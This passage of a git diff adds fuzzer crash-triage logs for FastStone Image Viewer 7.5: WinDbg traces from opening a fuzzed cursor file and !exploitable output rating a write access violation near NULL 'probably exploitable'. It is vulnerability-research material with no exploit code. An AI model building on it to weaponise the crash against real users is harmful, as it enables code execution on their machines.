009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 081e8130 08165930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 770e6359 00245000 770e6340 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 772a8944 00245000 613c583b 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 772a8914 ffffffff 772ca0e0 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00245000 00000000 ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77240000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3403/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3403/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..c7d5c40 Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3403/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3422/Initial/SystemDebugger_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3422/Initial/SystemDebugger_description.txt new file mode 100644 index 0000000..9258160 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3422/Initial/SystemDebugger_description.txt @@ -0,0 +1,2 @@ +First Chance Exception: 0xc0000005 +Access Violation Writing To 0x0000000000000002 \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3422/Initial/action_1_Output_Unknown Action 1.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3422/Initial/action_1_Output_Unknown Action 1.txt new file mode 100644 index 0000000..d97913a Binary files /dev/null and b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3422/Initial/action_1_Output_Unknown Action 1.txt differ diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3422/WindowsDebugEngine_StackTrace.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3422/WindowsDebugEngine_StackTrace.txt new file mode 100644 index 0000000..611be76 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3422/WindowsDebugEngine_StackTrace.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1364: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1364: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1364.1cc8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ec7b19 edx=00000000 esi=00000000 edi=0fd1afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.738232302004225120000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-6.69947e+024 2.12845e-021 -4.86421e-011 7.86194e-011 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fa8130 07f25930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00342000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00342000 c2ab26c7 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ac 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00342000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 +EXCEPTION_LEVEL:FIRST_CHANCE +EXCEPTION_TYPE:STATUS_ACCESS_VIOLATION +EXCEPTION_SUBTYPE:WRITE +MAJOR_HASH:0x67613208 +MINOR_HASH:0x05751964 +STACK_DEPTH:16 +STACK_FRAME:image00000000_00400000+0x1bdfcb +STACK_FRAME:image00000000_00400000+0x20d6fc +STACK_FRAME:image00000000_00400000+0x1ff93f +STACK_FRAME:image00000000_00400000+0x1ff1ef +STACK_FRAME:image00000000_00400000+0x4ec955 +STACK_FRAME:image00000000_00400000+0x4ef283 +STACK_FRAME:image00000000_00400000+0x5298d4 +STACK_FRAME:image00000000_00400000+0x39d2a5 +STACK_FRAME:image00000000_00400000+0x3987f5 +STACK_FRAME:image00000000_00400000+0x73a07 +STACK_FRAME:image00000000_00400000+0x736f3 +STACK_FRAME:image00000000_00400000+0x7b058 +STACK_FRAME:image00000000_00400000+0x5642e3 +STACK_FRAME:KERNEL32!BaseThreadInitThunk+0x19 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +STACK_FRAME:ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 +INSTRUCTION_ADDRESS:0x00000000005bdfcb +INVOKING_STACK_FRAME:0 +DESCRIPTION:User Mode Write AV near NULL +SHORT_DESCRIPTION:WriteAV +CLASSIFICATION:PROBABLY_EXPLOITABLE +BUG_TITLE:Probably Exploitable - User Mode Write AV near NULL starting at image00000000_00400000+0x00000000001bdfcb (Hash=0x67613208.0x05751964) +EXPLANATION:User mode write access violations that are near NULL are probably exploitable. \ No newline at end of file diff --git a/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3422/WindowsDebugEngine_description.txt b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3422/WindowsDebugEngine_description.txt new file mode 100644 index 0000000..611be76 --- /dev/null +++ b/windows/x86/local/FastStone_Image_Viewer_v.7.5/Exploitable Crash Triage/PROBABLY_EXPLOITABLE_0x67613208_0x2b33626d/PROBABLY_EXPLOITABLE_0x67613208_0x05751964/3422/WindowsDebugEngine_description.txt @@ -0,0 +1,174 @@ + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols + +Microsoft (R) Windows Debugger Version 10.0.19041.685 AMD64 +Copyright (c) Microsoft Corporation. All rights reserved. + +CommandLine: C:\Program Files (x86)\FastStone Image Viewer\FSViewer.exe fuzz.cur + +************* Path validation summary ************** +Response Time (ms) Location +Deferred SRV*http://msdl.microsoft.com/download/symbols +Symbol search path is: SRV*http://msdl.microsoft.com/download/symbols +Executable search path is: +ModLoad: 00000000`00400000 00000000`00abf000 image00000000`00400000 +ModLoad: 00007ffa`f7d90000 00007ffa`f7f84000 ntdll.dll +ModLoad: 00000000`77050000 00000000`771f2000 ntdll.dll +ModLoad: 00000000`00ac0000 00000000`00b34000 C:\Windows\System32\verifier.dll +Page heap: pid 0x1364: page heap enabled with flags 0x3. +ModLoad: 00007ffa`f6430000 00007ffa`f6489000 C:\Windows\System32\wow64.dll +ModLoad: 00007ffa`f6520000 00007ffa`f65a3000 C:\Windows\System32\wow64win.dll +ModLoad: 00000000`77040000 00000000`7704a000 C:\Windows\System32\wow64cpu.dll +ModLoad: 00000000`74ec0000 00000000`74f25000 C:\Windows\SysWOW64\verifier.dll +Page heap: pid 0x1364: page heap enabled with flags 0x3. +ModLoad: 00000000`75710000 00000000`75800000 C:\Windows\SysWOW64\KERNEL32.DLL +ModLoad: 00000000`754f0000 00000000`75703000 C:\Windows\SysWOW64\KERNELBASE.dll +ModLoad: 00000000`75ac0000 00000000`75c53000 C:\Windows\SysWOW64\user32.dll +ModLoad: 00000000`75de0000 00000000`75df8000 C:\Windows\SysWOW64\win32u.dll +ModLoad: 00000000`768f0000 00000000`76913000 C:\Windows\SysWOW64\GDI32.dll +ModLoad: 00000000`75e00000 00000000`75eda000 C:\Windows\SysWOW64\gdi32full.dll +ModLoad: 00000000`76300000 00000000`7637b000 C:\Windows\SysWOW64\msvcp_win.dll +ModLoad: 00000000`764a0000 00000000`765c0000 C:\Windows\SysWOW64\ucrtbase.dll +ModLoad: 00000000`76870000 00000000`768e9000 C:\Windows\SysWOW64\advapi32.dll +ModLoad: 00000000`76380000 00000000`7643f000 C:\Windows\SysWOW64\msvcrt.dll +ModLoad: 00000000`76280000 00000000`762f5000 C:\Windows\SysWOW64\sechost.dll +ModLoad: 00000000`75a00000 00000000`75aba000 C:\Windows\SysWOW64\RPCRT4.dll +ModLoad: 00000000`76750000 00000000`767e6000 C:\Windows\SysWOW64\oleaut32.dll +ModLoad: 00000000`76000000 00000000`76280000 C:\Windows\SysWOW64\combase.dll +ModLoad: 00000000`75c60000 00000000`75d43000 C:\Windows\SysWOW64\ole32.dll +ModLoad: 00000000`74eb0000 00000000`74eb8000 C:\Windows\SysWOW64\version.dll +ModLoad: 00000000`74ea0000 00000000`74ea6000 C:\Windows\SysWOW64\msimg32.dll +ModLoad: 00000000`75400000 00000000`75425000 C:\Windows\SysWOW64\imm32.dll +ModLoad: 00000000`769b0000 00000000`76f57000 C:\Windows\SysWOW64\shell32.dll +ModLoad: 00000000`74c90000 00000000`74ea0000 C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_6.0.19041.1_none_fd031af45b0106f2\comctl32.dll +ModLoad: 00000000`74c20000 00000000`74c8d000 C:\Windows\SysWOW64\winspool.drv +ModLoad: 00000000`75ee0000 00000000`75f8f000 C:\Windows\SysWOW64\comdlg32.dll +ModLoad: 00000000`75d50000 00000000`75dd7000 C:\Windows\SysWOW64\shcore.dll +ModLoad: 00000000`753b0000 00000000`753f5000 C:\Windows\SysWOW64\SHLWAPI.dll +ModLoad: 00000000`74c00000 00000000`74c1b000 C:\Windows\SysWOW64\avifil32.dll +ModLoad: 00000000`74ba0000 00000000`74bc2000 C:\Windows\SysWOW64\MsVfW32.dll +ModLoad: 00000000`74bd0000 00000000`74bf8000 C:\Windows\SysWOW64\winmm.dll +ModLoad: 00000000`74a00000 00000000`74b9a000 C:\Windows\SysWOW64\quartz.dll +ModLoad: 00000000`749e0000 00000000`749f9000 C:\Windows\SysWOW64\MSACM32.dll +ModLoad: 00000000`75800000 00000000`75819000 C:\Windows\SysWOW64\bcrypt.dll +ModLoad: 00000000`743b0000 00000000`743cd000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`00020000 00000000`0003d000 C:\Windows\SysWOW64\winmmbase.dll +ModLoad: 00000000`743d0000 00000000`749d4000 C:\Windows\SysWOW64\windows.storage.dll +ModLoad: 00000000`74380000 00000000`743a3000 C:\Windows\SysWOW64\Wldp.dll +ModLoad: 74300000 74374000 C:\Windows\SysWOW64\uxtheme.dll +ModLoad: 00000000`76f60000 00000000`77032000 C:\Windows\SysWOW64\MSCTF.dll +ModLoad: 00000000`742e0000 00000000`742f9000 C:\Windows\SysWOW64\olepro32.dll +ModLoad: 00000000`742d0000 00000000`742df000 C:\Windows\SysWOW64\kernel.appcore.dll +ModLoad: 00000000`765c0000 00000000`7661c000 C:\Windows\SysWOW64\bcryptPrimitives.dll +ModLoad: 00000000`75370000 00000000`753ab000 C:\Windows\SysWOW64\CFGMGR32.dll +ModLoad: 00000000`767f0000 00000000`7686e000 C:\Windows\SysWOW64\clbcatq.dll +ModLoad: 00000000`74200000 00000000`742c2000 C:\Windows\SysWOW64\propsys.dll +ModLoad: 00000000`741e0000 00000000`741f8000 C:\Windows\SysWOW64\profapi.dll +ModLoad: 00000000`74140000 00000000`741d4000 C:\Windows\SysWOW64\TextShaping.dll +ModLoad: 00000000`73fd0000 00000000`74140000 C:\Windows\SysWOW64\windowscodecs.dll +ModLoad: 00000000`73f60000 00000000`73fc1000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin06.dll +ModLoad: 00000000`73f50000 00000000`73f57000 C:\Windows\SysWOW64\DCIMAN32.DLL +ModLoad: 00000000`73f10000 00000000`73f42000 C:\Windows\SysWOW64\dataexchange.dll +ModLoad: 00000000`73bc0000 00000000`73d24000 C:\Windows\SysWOW64\dcomp.dll +ModLoad: 00000000`73d30000 00000000`73f10000 C:\Windows\SysWOW64\d3d11.dll +ModLoad: 00000000`73af0000 00000000`73bb2000 C:\Windows\SysWOW64\dxgi.dll +ModLoad: 00000000`73960000 00000000`73af0000 C:\Windows\SysWOW64\twinapi.appcore.dll +ModLoad: 00000000`73910000 00000000`73958000 C:\Windows\SysWOW64\thumbcache.dll +ModLoad: 00000000`73900000 00000000`7390a000 C:\Windows\SysWOW64\Secur32.dll +ModLoad: 00000000`738d0000 00000000`738f1000 C:\Windows\SysWOW64\SSPICLI.DLL +ModLoad: 00000000`738b0000 00000000`738c5000 C:\Windows\SysWOW64\samcli.dll +ModLoad: 00000000`73890000 00000000`738a9000 C:\Windows\SysWOW64\SAMLIB.dll +ModLoad: 00000000`73880000 00000000`7388b000 C:\Windows\SysWOW64\netutils.dll +ModLoad: 00000000`6ad80000 00000000`6adfe000 C:\Program Files (x86)\FastStone Image Viewer\fsplugin05.dll +ModLoad: 00000000`737f0000 00000000`73872000 C:\Program Files (x86)\Common Files\microsoft shared\ink\tiptsf.dll +(1364.1cc8): Access violation - code c0000005 (first chance) +r +*** WARNING: Unable to verify checksum for image00000000`00400000 +eax=0019f4b6 ebx=80000000 ecx=07ec7b19 edx=00000000 esi=00000000 edi=0fd1afd4 +eip=005bdfcb esp=0019f4a4 ebp=0019f94c iopl=0 ov up ei ng nz ac pe nc +cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00210a96 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rF +fpcw=137F: rn 64 puozdi fpsw=4020: top=0 cc=1000 --p----- fptw=0000 +fopcode=0000 fpip=0000:00604b66 fpdp=0000:00000000 +st0=-1.#SNAN0000000000000000e+0000 st1=-1.#SNAN0000000000000000e+0000 +st2=-1.#SNAN0000000000000000e+0000 st3= 5.738232302004225120000e+0017 +st4= 1.000000000000000000000e+0000 st5= 5.000000000000000000000e-0001 +st6= 2.539999999999999999970e+0000 st7= 3.000000000000000000000e+0002 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? +rX +xmm0=0 0 0 0 +xmm1=0 0 0 0 +xmm2=0 0 0 0 +xmm3=0 0 0 0 +xmm4=0 0 0 0 +xmm5=0 0 0 0 +xmm6=0 0 0 0 +xmm7=-6.69947e+024 2.12845e-021 -4.86421e-011 7.86194e-011 +image00000000_00400000+0x1bdfcb: +005bdfcb 884c1602 mov byte ptr [esi+edx+2],cl ds:002b:00000002=?? + + +kb +ChildEBP RetAddr Args to Child +WARNING: Stack unwind information not available. Following frames may be wrong. +0019f94c 0060d6fc 00000000 0019f9b4 0019f984 image00000000_00400000+0x1bdfcb +0019f9c4 005ff93f 0019fa24 005ffbc2 0019fa1c image00000000_00400000+0x20d6fc +0019fa1c 005ff1ef 0019fa44 005ff1f9 0019fa3c image00000000_00400000+0x1ff93f +0019fa3c 008ec955 0019fa70 008ec986 0019fa64 image00000000_00400000+0x1ff1ef +0019fa64 008ef283 0019fb98 0019fa7c 008ef2db image00000000_00400000+0x4ec955 +0019fb98 009298d4 00000001 00000000 00000001 image00000000_00400000+0x4ef283 +0019fc30 0079d2a5 0019fc44 0079d2ec 0019fcdc image00000000_00400000+0x5298d4 +0019fcdc 007987f5 0019fcf0 007987ff 0019fd98 image00000000_00400000+0x39d2a5 +0019fd98 00473a07 0019fdd8 00473a11 0019fdbc image00000000_00400000+0x3987f5 +0019fdbc 004736f3 07fa8130 07f25930 004041f2 image00000000_00400000+0x73a07 +0019ff00 0047b058 0019ff2c 0047b062 0019ff24 image00000000_00400000+0x736f3 +0019ff24 009642e3 0019ff38 009642fe 0019ff70 image00000000_00400000+0x7b058 +0019ff70 7572f989 00342000 7572f970 0019ffdc image00000000_00400000+0x5642e3 +0019ff80 770b7084 00342000 c2ab26c7 00000000 KERNEL32!BaseThreadInitThunk+0x19 +0019ffdc 770b7054 ffffffff 770d62ac 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xe4 +0019ffec 00000000 00963a10 00342000 00000000 ntdll_77050000!RtlGetAppContainerNamedObjectPath+0xb4 + + +.load C:\peach\Debuggers\DebugEngine\msec64.dll +!exploitable -m +IDENTITY:HostMachine\HostUser +PROCESSOR:X86 +CLASS:USER +QUALIFIER:USER_PROCESS +EVENT:DEBUG_EVENT_EXCEPTION +EXCEPTION_FAULTING_ADDRESS:0x2 +EXCEPTION_CODE:0xC0000005 